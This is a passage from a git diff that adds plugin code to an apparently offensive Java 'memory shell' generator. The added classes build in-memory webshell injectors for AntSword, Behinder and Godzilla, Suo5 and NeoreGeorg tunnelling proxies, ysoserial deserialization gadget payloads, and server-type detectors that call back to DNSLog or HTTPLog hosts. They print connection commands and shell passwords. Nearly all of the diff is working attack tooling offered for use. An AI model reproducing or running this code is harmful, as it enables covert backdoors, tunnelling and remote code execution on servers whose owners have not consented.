config.setSavePath(System.getProperty("user.dir")); + if (config.getInjectorClassName() == null) + config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName()); + if (config.getInjectorSimpleClassName() == null) + config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName())); + if (config.getShellClassName() == null) + config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType())); + if (config.getShellSimpleClassName() == null) + config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName())); + + config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath())); + + return config; + } +} \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java new file mode 100644 index 0000000..46efbed --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java @@ -0,0 +1,35 @@ +package me.gv7.woodpecker.helper; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.suo5.generator.Suo5Generator; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ProxyHelperPlugin; +import me.gv7.woodpecker.util.JMGResultUtil; + +import java.util.Map; + +public class Suo5Helper extends ProxyHelper { + + @Override + public String getHelperTabCaption() { + return Constants.TOOL_SUO5; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = initConfig(customArgs, new AbstractConfig()); + new Suo5Generator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printSuo5BasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printDebugInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } + +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java new file mode 100644 index 0000000..e757ec1 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java @@ -0,0 +1,275 @@ +package me.gv7.woodpecker.plugin; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.extender.generator.ExtenderGenerator; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import me.gv7.woodpecker.tools.misc.SerializeUtil; +import me.gv7.woodpecker.util.JMGResultUtil; +import sun.misc.Unsafe; + +import java.io.File; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class ExtenderHelperPlugin implements IHelperPlugin { + public static IHelperPluginCallbacks callbacks; + + public static IPluginHelper pluginHelper; + + @Override + public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { + callbacks = helperPluginCallbacks; + pluginHelper = callbacks.getPluginHelper(); + callbacks.setHelperPluginName("JMG Extender Helper"); + callbacks.setHelperPluginVersion(Constants.JMG_VERSION); + callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR); + callbacks.setHelperPluginDescription("Java 内存马生成器 - 探测中间件/序列化封装"); + List helperList = new ArrayList(); + helperList.add(new DetectorHelper()); + helperList.add(new YsoserialHelper()); + callbacks.registerHelper(helperList); + } + + public static class YsoserialHelper implements IHelper { + @Override + public String getHelperTabCaption() { + return "Ysoserial Payload Generator"; + } + + @Override + public IArgsUsageBinder getHelperCutomArgs() { + IArgsUsageBinder binder = ExtenderHelperPlugin.pluginHelper.createArgsUsageBinder(); + List list = new ArrayList(); + + IArg ysoGadget = ExtenderHelperPlugin.pluginHelper.createArg(); + ysoGadget.setName("yso_gadget"); + ysoGadget.setDefaultValue("CommonsBeanutils1"); + ysoGadget.setDescription("ysoserial gadget"); + ysoGadget.setRequired(true); + list.add(ysoGadget); + + IArg ysoCmd = ExtenderHelperPlugin.pluginHelper.createArg(); + ysoCmd.setName("yso_cmd"); + ysoCmd.setDefaultValue("class_file:/tmp/woo.class"); + ysoCmd.setDescription("ysoserial command"); + ysoCmd.setRequired(true); + list.add(ysoCmd); + + IArg formatType = ExtenderHelperPlugin.pluginHelper.createArg(); + formatType.setName("format_type"); + formatType.setType(7); + List enumFormattType = new ArrayList(); + enumFormattType.add(Constants.FORMAT_BASE64); + enumFormattType.add(Constants.FORMAT_BIGINTEGER); + enumFormattType.add(Constants.FORMAT_BCEL); + enumFormattType.add(Constants.FORMAT_CLASS); + enumFormattType.add(Constants.FORMAT_JAR); + enumFormattType.add(Constants.FORMAT_JSP); + formatType.setEnumValue(enumFormattType); + formatType.setDefaultValue(Constants.FORMAT_BASE64); + formatType.setRequired(true); + formatType.setDescription("自定义输出格式"); + list.add(formatType); + + IArg output_path = ExtenderHelperPlugin.pluginHelper.createArg(); + output_path.setName("output_path"); + output_path.setType(0); + output_path.setDefaultValue("workdir"); + output_path.setRequired(false); + output_path.setDescription("自定义输出路径"); + list.add(output_path); + + binder.setArgsList(list); + return binder; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = new AbstractConfig(); + String ysoGadget = (String) customArgs.get("yso_gadget"); + String ysoCmd = (String) customArgs.get("yso_cmd"); + config.setOutputFormat((String) customArgs.get("format_type")); + config.setEnabledExtender(true); + if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path")); + if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir")); + config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath())); + + if (ysoCmd.toLowerCase().startsWith("class_file:")) { + String classFilePath = ysoCmd.substring("class_file:".length()); + File file = new File(classFilePath); + if (!file.exists() || !file.isFile()) { + resultOutput.warningPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath()))); + return; + } + } + Class utilsClass = Class.forName("me.gv7.woodpecker.yso.payloads.ObjectPayload$Utils"); + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + Unsafe unsafe = (Unsafe) field.get(null); + Object obj = unsafe.allocateInstance(utilsClass); + Object payload = ((Class) CommonUtil.invokeMethod(obj, "getPayloadClass", new Class[]{String.class}, new Object[]{ysoGadget})).newInstance(); + Object objGadget = CommonUtil.invokeMethod(payload, "getObject", new Class[]{String.class}, new Object[]{ysoCmd}); + byte[] serializedBytes = SerializeUtil.serialize(objGadget); + config.setExtenderBytes(serializedBytes); + config.setExtenderBytesLength(serializedBytes.length); + JMGResultUtil.printResult(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } + } + + + public static class DetectorHelper implements IHelper { + public String getHelperTabCaption() { + return "ServerType Detector"; + } + + public IArgsUsageBinder getHelperCutomArgs() { + IArgsUsageBinder binder = ExtenderHelperPlugin.pluginHelper.createArgsUsageBinder(); + List list = new ArrayList(); + + IArg detect_way = ExtenderHelperPlugin.pluginHelper.createArg(); + detect_way.setName("detect_way"); + detect_way.setType(7); + List enumDetectWay = new ArrayList(); + enumDetectWay.add(Constants.DETECT_DFSECHO); + enumDetectWay.add(Constants.DETECT_DNS); + enumDetectWay.add(Constants.DETECT_HTTP); + enumDetectWay.add(Constants.DETECT_SLEEP); + detect_way.setEnumValue(enumDetectWay); + detect_way.setRequired(true); + detect_way.setDefaultValue(Constants.DETECT_DFSECHO); + detect_way.setDescription("自定义探测中间件的方式、默认回显"); + list.add(detect_way); + + IArg server_type = ExtenderHelperPlugin.pluginHelper.createArg(); + server_type.setName("server_type"); + server_type.setType(7); + List enumServerType = new ArrayList(); + enumServerType.add(Constants.SERVER_TOMCAT); + enumServerType.add(Constants.SERVER_SPRING_MVC); + enumServerType.add(Constants.SERVER_JETTY); + enumServerType.add(Constants.SERVER_RESIN); + enumServerType.add(Constants.SERVER_WEBLOGIC); + enumServerType.add(Constants.SERVER_WEBSPHERE); + enumServerType.add(Constants.SERVER_UNDERTOW); + enumServerType.add(Constants.SERVER_GLASSFISH); + server_type.setEnumValue(enumServerType); + server_type.setDefaultValue(Constants.SERVER_TOMCAT); + server_type.setRequired(true); + server_type.setDescription("自定义中间件"); + list.add(server_type); + + IArg dnslog_domain = ExtenderHelperPlugin.pluginHelper.createArg(); + dnslog_domain.setName("dnslog_domain"); + dnslog_domain.setType(0); + dnslog_domain.setRequired(true); + dnslog_domain.setDefaultValue("xxx.dnslog.cn"); + dnslog_domain.setDescription("自定义 DNSLog 地址"); + list.add(dnslog_domain); + + IArg httplog_url = ExtenderHelperPlugin.pluginHelper.createArg(); + httplog_url.setName("httplog_url"); + httplog_url.setType(0); + httplog_url.setRequired(true); + httplog_url.setDefaultValue("http://xxx.httplog.cn"); + httplog_url.setDescription("自定义 HTTPLog 地址"); + list.add(httplog_url); + + IArg sleep_seconds = ExtenderHelperPlugin.pluginHelper.createArg(); + sleep_seconds.setName("sleep_seconds"); + sleep_seconds.setType(0); + sleep_seconds.setRequired(true); + sleep_seconds.setDefaultValue("5"); + sleep_seconds.setDescription("自定义延时的秒数"); + list.add(sleep_seconds); + + IArg gadgetType = ExtenderHelperPlugin.pluginHelper.createArg(); + gadgetType.setName("gadget_type"); + gadgetType.setType(7); + List enumGadgetType = new ArrayList(); + enumGadgetType.add(Constants.GADGET_NONE); + enumGadgetType.add(Constants.GADGET_JDK_TRANSLET); + enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET); + enumGadgetType.add(Constants.GADGET_FJ_GROOVY); + enumGadgetType.add(Constants.GADGET_SNAKEYAML); + gadgetType.setEnumValue(enumGadgetType); + gadgetType.setDefaultValue(Constants.GADGET_NONE); + gadgetType.setRequired(true); + gadgetType.setDescription("自定义利用链"); + list.add(gadgetType); + + IArg formatType = ExtenderHelperPlugin.pluginHelper.createArg(); + formatType.setName("format_type"); + formatType.setType(7); + List enumFormattType = new ArrayList(); + enumFormattType.add(Constants.FORMAT_BASE64); + enumFormattType.add(Constants.FORMAT_BIGINTEGER); + enumFormattType.add(Constants.FORMAT_BCEL); + enumFormattType.add(Constants.FORMAT_CLASS); + enumFormattType.add(Constants.FORMAT_JAR); + enumFormattType.add(Constants.FORMAT_JSP); + enumFormattType.add(Constants.FORMAT_JSP); + formatType.setEnumValue(enumFormattType); + formatType.setDefaultValue(Constants.FORMAT_BASE64); + formatType.setRequired(true); + formatType.setDescription("自定义输出格式"); + list.add(formatType); + + IArg detector_class_name = ExtenderHelperPlugin.pluginHelper.createArg(); + detector_class_name.setName("detector_class_name"); + detector_class_name.setType(0); + detector_class_name.setRequired(false); + detector_class_name.setDescription("自定义探测器类名"); + list.add(detector_class_name); + + IArg output_path = ExtenderHelperPlugin.pluginHelper.createArg(); + output_path.setName("output_path"); + output_path.setType(0); + output_path.setDefaultValue("workdir"); + output_path.setRequired(false); + output_path.setDescription("自定义输出路径"); + list.add(output_path); + + binder.setArgsList(list); + return binder; + } + + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = new AbstractConfig(); + config.setServerType((String) customArgs.get("server_type")); + config.setDetectWay((String) customArgs.get("detect_way")); + config.setGadgetType((String) customArgs.get("gadget_type")); + config.setOutputFormat((String) customArgs.get("format_type")); + config.setDnsDomain((String) customArgs.get("dnslog_domain")); + config.setBaseUrl((String) customArgs.get("httplog_url")); + config.setSleepTime((String) customArgs.get("sleep_seconds")); + config.setEnabledExtender(true); + + config.setExtenderClassName(ClassNameUtil.getRandomExtenderClassName()); + config.setExtenderSimpleClassName(CommonUtil.getSimpleName(config.getExtenderClassName())); + + if (customArgs.get("detector_class_name") != null) + config.setExtenderClassName((String) customArgs.get("detector_class_name")); + if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path")); + if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir")); + config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath())); + + new ExtenderGenerator().makeShell(config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printExtenderBasicInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } + } + +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java new file mode 100644 index 0000000..d20315b --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java @@ -0,0 +1,29 @@ +package me.gv7.woodpecker.plugin; + + +import jmg.core.config.Constants; +import me.gv7.woodpecker.helper.NeoreGeorgHelper; +import me.gv7.woodpecker.helper.Suo5Helper; + +import java.util.ArrayList; +import java.util.List; + +public class ProxyHelperPlugin implements IHelperPlugin { + public static IHelperPluginCallbacks callbacks; + public static IPluginHelper pluginHelper; + + @Override + public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { + callbacks = helperPluginCallbacks; + pluginHelper = callbacks.getPluginHelper(); + callbacks.setHelperPluginName("JMG Proxy Helper"); + callbacks.setHelperPluginVersion(Constants.JMG_VERSION); + callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR); + callbacks.setHelperPluginDescription("Java 内存马生成器 - 代理"); + List helperList = new ArrayList(); + helperList.add(new Suo5Helper()); + helperList.add(new NeoreGeorgHelper()); + + callbacks.registerHelper(helperList); + } +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java new file mode 100644 index 0000000..2003db6 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java @@ -0,0 +1,28 @@ +package me.gv7.woodpecker.plugin; + +import jmg.core.config.Constants; +import me.gv7.woodpecker.helper.*; + +import java.util.ArrayList; +import java.util.List; + +public class ShellHelperPlugin implements IHelperPlugin { + public static IHelperPluginCallbacks callbacks; + public static IPluginHelper pluginHelper; + + @Override + public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { + callbacks = helperPluginCallbacks; + pluginHelper = callbacks.getPluginHelper(); + callbacks.setHelperPluginName("JMG Shell Helper"); + callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR); + callbacks.setHelperPluginVersion(Constants.JMG_VERSION); + callbacks.setHelperPluginDescription("Java 内存马生成器"); + List helperList = new ArrayList<>(); + helperList.add(new AntSwordHelper()); + helperList.add(new BehinderHelper()); + helperList.add(new GodzillaHelper()); + helperList.add(new CustomHelper()); + callbacks.registerHelper(helperList); + } +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java new file mode 100755 index 0000000..9f39660 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java @@ -0,0 +1,13 @@ +package me.gv7.woodpecker.plugin; + +public class WoodpeckerPluginManager implements IPluginManager { + public WoodpeckerPluginManager() { + } + + @Override + public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) { + pluginManagerCallbacks.registerHelperPlugin(new ShellHelperPlugin()); + pluginManagerCallbacks.registerHelperPlugin(new ProxyHelperPlugin()); + pluginManagerCallbacks.registerHelperPlugin(new ExtenderHelperPlugin()); + } +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java new file mode 100644 index 0000000..15f90fd --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java @@ -0,0 +1,146 @@ +package me.gv7.woodpecker.util; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.CommonUtil; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ShellHelperPlugin; + +import java.io.IOException; + +public class JMGResultUtil { + + public static void printAntSwordBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("密码: " + config.getPass()); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + resultOutput.rawPrintln("脚本类型: JSP"); + resultOutput.rawPrintln(""); + } + + public static void printBehinderBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("密码: " + config.getPass()); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + resultOutput.rawPrintln("脚本类型: JSP"); + resultOutput.rawPrintln(""); + } + + public static void printGodzillaBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("加密器: JAVA_AES_BASE64"); + resultOutput.rawPrintln("密码: " + config.getPass()); + resultOutput.rawPrintln("密钥: " + config.getKey()); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ":" + config.getHeaderValue()); + resultOutput.rawPrintln(""); + } + + + public static void printCustomBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.rawPrintln("基础信息"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("注入器类名: " + config.getInjectorClassName()); + resultOutput.rawPrintln(""); + + } + + public static void printSuo5BasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("连接指令:"); + if (config.getHeaderName().equalsIgnoreCase("user-agent")){ + resultOutput.rawPrintln(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue())); + resultOutput.rawPrintln(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue())); + }else { + resultOutput.rawPrintln(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + resultOutput.rawPrintln(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + } + resultOutput.rawPrintln(""); + } + + public static void printNeoreGeorgBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("密钥: " + config.getKey()); + resultOutput.rawPrintln("请求路径: " + config.getUrlPattern()); + resultOutput.rawPrintln("连接指令:"); + resultOutput.rawPrintln(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + resultOutput.rawPrintln(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + resultOutput.rawPrintln(""); + } + + public static void printExtenderBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + resultOutput.successPrintln("基础信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("探测器类名: " + config.getExtenderClassName()); + resultOutput.rawPrintln("探测器字节流长度: " + config.getExtenderBytes().length); + resultOutput.rawPrintln(""); + } + + public static void printBasicInfo(IResultOutput resultOutput, AbstractConfig config) { + try { + resultOutput.warningPrintln("内存马注入器通过静态代码块和构造函数均可触发"); + resultOutput.warningPrintln(String.format("判断内存马注入成功的标志: 不带body携带对应的请求头访问,若response返回的cookie有[%s]键值对说明注入成功", config.getPass().toUpperCase())); + resultOutput.warningPrintln("内存马连接路径尽量使用应用系统存在的路径"); + resultOutput.rawPrintln("------------------------------------------------------------------------------------------------"); + } catch (Exception ignored) { + } + } + + public static void printResult(IResultOutput resultOutput, AbstractConfig config) { + if (!config.isEnabledExtender() && config.getInjectorBytesLength() == 0) { + resultOutput.warningPrintln("请在非调试模式下使用!"); + } else if (config.isEnabledExtender() && config.getExtenderBytesLength() == 0) { + resultOutput.warningPrintln("请在非调试模式下使用!"); + } else { + switch (config.getOutputFormat()) { + case Constants.FORMAT_CLASS: + case Constants.FORMAT_JSP: + case Constants.FORMAT_JAR_AGENT: + case Constants.FORMAT_JAR: + try { + if (config.isEnabledExtender()) { + CommonUtil.transformExtenderToFile(config); + } else { + CommonUtil.transformToFile(config); + } + resultOutput.successPrintln("结果输出:\n"); + resultOutput.rawPrintln(config.getSavePath() + "\n"); + } catch (Throwable e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + break; + case Constants.FORMAT_BCEL: + case Constants.FORMAT_JS: + case Constants.FORMAT_BASE64: + case Constants.FORMAT_BIGINTEGER: + try { + String result = CommonUtil.transformTotext(config); + resultOutput.successPrintln("结果输出:\n"); + resultOutput.rawPrintln(result + "\n"); + } catch (Throwable e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + break; + } + } + } + + public static void printDebugInfo(IResultOutput resultOutput, AbstractConfig config) throws IOException { + resultOutput.successPrintln("调试信息:"); + resultOutput.rawPrintln(""); + resultOutput.rawPrintln("内存马类名: " + config.getShellClassName()); + resultOutput.rawPrintln("注入器类名: " + config.getInjectorClassName()); + resultOutput.rawPrintln("内存马字节流长度: " + config.getShellBytesLength()); + resultOutput.rawPrintln("注入器字节流长度: " + config.getInjectorBytesLength()); + resultOutput.rawPrintln(""); + } +} diff --git a/pom.xml b/pom.xml index ec6156b..4cb53b4 100644 --- a/pom.xml +++ b/pom.xml @@ -16,7 +16,7 @@ jmg-neoregeorg jmg-suo5 jmg-extender - + jmg-woodpecker